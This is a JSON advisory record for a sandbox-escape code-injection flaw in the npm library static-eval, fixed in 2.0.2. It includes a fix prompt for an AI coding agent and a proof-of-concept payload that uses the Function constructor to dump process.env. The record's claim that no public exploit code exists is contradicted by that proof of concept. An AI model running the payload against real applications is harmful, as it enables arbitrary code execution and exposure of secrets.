{"answers":{"affected":"2 open source packages ship an affected version, including static-eval.","exploited":"There is no known exploitation of GHSA-x9hc-rw35-f44h in the wild and no public exploit code.","fix":"Upgrade static-eval to 2.0.2 or later.","what":"GHSA-x9hc-rw35-f44h is a code injection vulnerability in static-eval, published on 2 Sep 2020. An attacker can exploit it over the internet without logging in, with no action from the victim."},"fix_prompt":"Check this codebase for GHSA-x9hc-rw35-f44h and fix it if it is affected.\n\nWhat it is: GHSA-x9hc-rw35-f44h is a code injection vulnerability in static-eval, published on 2 Sep 2020. An attacker can exploit it over the internet without logging in, with no action from the victim.\nExploitation: There is no known exploitation of GHSA-x9hc-rw35-f44h in the wild and no public exploit code.\n\nAffected packages and fixed versions:\n- static-eval (npm): affected all versions; fixed in 2.0.2\n- static-eval (npm): affected all versions; fixed in 2.0.2\n\nTask:\n1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.\n2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.\n3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.\n4. Run the tests and summarise what changed and why.\n5. If nothing in the project is affected, say so and change nothing.\n\nReference: https://insights.sbomify.com/GHSA-x9hc-rw35-f44h/ (Markdown: https://insights.sbomify.com/GHSA-x9hc-rw35-f44h/index.md)","id":"GHSA-x9hc-rw35-f44h","markdown":"https://insights.sbomify.com/GHSA-x9hc-rw35-f44h/index.md","name":"GHSA-x9hc-rw35-f44h","record":{"aliases":[],"analysis":{"component_type":"library","fix_type":"upgrade","impacts":["code_execution"],"network_reachable":"yes","non_default_config":false,"product_category":"JavaScript evaluation library","requires_auth":"none","summary":"Attackers can execute arbitrary code by passing malicious input to the static-eval library, which fails to properly sanitize input before using the Function constructor.","user_interaction":"not_required","vuln_class":"code_injection"},"analysis_generated_by":"qwen3.8-flash-next","assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"Versions of `static-eval`prior to 2.0.2 pass untrusted user input directly to the global function constructor, resulting in an arbitrary code execution vulnerability when user input is parsed via the package.\n\n## Proof of concept\n```\nvar evaluate = require('static-eval');\nvar parse = require('esprima').parse;\n\nvar src = process.argv[2];\nvar payload = '(function({x}){return x.constructor})({x:\"\".sub})(\"console.log(process.env)\")()'\nvar ast = parse(payload).body[0].expression;\nconsole.log(evaluate(ast, {x:1}));\n```\n\n## Recommendation\n\nUpgrade to version 2.0.2 or later.","ecosystems":["npm"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":true,"headline":"Sandbox Breakout / Arbitrary Code Execution in static-eval","id":"GHSA-x9hc-rw35-f44h","indexable":true,"kev":null,"kind":"advisory","links":{"ecosystem":"npm","product":null,"products":[],"type":"code_injection","year":"2020"},"n_packages":2,"n_references":null,"packages":[{"ecosystem":"npm","fixed":["2.0.2"],"introduced":["0"],"last_affected":[],"package":"static-eval","purl":null,"source":"GHSA-x9hc-rw35-f44h"},{"ecosystem":"npm","fixed":["2.0.2"],"introduced":["0"],"last_affected":[],"package":"static-eval","purl":"pkg:npm/static-eval","source":"GHSA-x9hc-rw35-f44h"}],"products":null,"published":"2020-09-02","related":[],"sources":[{"class":"attribution","licence":"CC BY 4.0","name":"GitHub Advisory Database","prefix":"GHSA"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":"Attackers can execute arbitrary code by passing malicious input to the static-eval library, which fails to properly sanitize input before using the Function constructor.","url":"https://insights.sbomify.com/GHSA-x9hc-rw35-f44h/"}